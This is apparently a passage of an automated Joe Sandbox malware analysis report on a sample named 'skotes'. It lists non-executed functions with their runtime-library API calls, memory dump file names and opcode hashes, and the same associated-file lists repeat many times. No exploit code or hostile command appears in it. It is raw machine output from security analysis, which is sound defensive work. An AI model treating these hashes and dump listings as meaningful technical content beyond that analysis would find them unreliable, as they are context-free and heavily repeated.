RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006FA813,00000001,00000364,00000006,000000FF,?,006FEE3F,?,00000004,00000000,?,?), ref: 006FD870

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 855b961f324f311bdfc02a561eaa8611a92258b351cb549e23b5c93995ecb73a
Instruction ID: 34e510cfa07de858b82cff7d1723bd69061734fcb1396b39a716bb31d64becc0
Opcode Fuzzy Hash: 855b961f324f311bdfc02a561eaa8611a92258b351cb549e23b5c93995ecb73a
Instruction Fuzzy Hash: B8F0893265552CA6EB216A76DC01BBF375B9F417F0B258125EF24A7291DA20FC0185E4

Non-executed Functions

Function 006C2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006C2F5F
GetCurrentThreadId.KERNEL32 ref: 006C2F7E
__Mtx_unlock.LIBCPMT ref: 006C2FCC
__Cnd_broadcast.LIBCPMT ref: 006C2FE3
__Mtx_unlock.LIBCPMT ref: 006C30F5
GetCurrentThreadId.KERNEL32 ref: 006C3132
__Mtx_unlock.LIBCPMT ref: 006C319B

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 2ade736043d7e99650afffb3d1cf8ba0c4aaea43c4a262e26dc5ad02c1a9efd8
Instruction ID: d22e544384eedfe821256ea469ef064d1c5ae300786623d39fe3ac15a222fd20
Opcode Fuzzy Hash: 2ade736043d7e99650afffb3d1cf8ba0c4aaea43c4a262e26dc5ad02c1a9efd8
Instruction Fuzzy Hash: 38A1E0B1E0061A9FDB20DF64C944BAAB7AAFF15320F14812EE815D7741EB31EA04CBD1

Function 006FCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006FCC66

Strings

vo, xrefs: 006FCBE1

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vo
API String ID: 3213747228-1079588389
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 781e3455bcf7cf3bafecd55fdf8943d0cfaaa71d9f39693f4d44b2eece119302
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 61B1253290468D9FDB15CF28C981BFEBBE6EF45360F1441AAEA55EB341D6348D02CB64

Function 006DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 006DBBE4
_xtime_get.LIBCPMT ref: 006DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 006DBC13

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 36500ee623d7236ec423328c6b29a1f8385e1625ae699bc22d247d177bb2590f
Instruction ID: 5926481f487d45fc69301ff353fa202e23a701d2c6692f1efc9a672f809821f6
Opcode Fuzzy Hash: 36500ee623d7236ec423328c6b29a1f8385e1625ae699bc22d247d177bb2590f
Instruction Fuzzy Hash: DF21FB71E0011AAFDF10EFA4D881AFEB7BAAF08720B51401AF501A7391DB749D419BA4

Function 006FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006FF3A3

Strings

`'r, xrefs: 006FF375
8"r, xrefs: 006FF44B

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
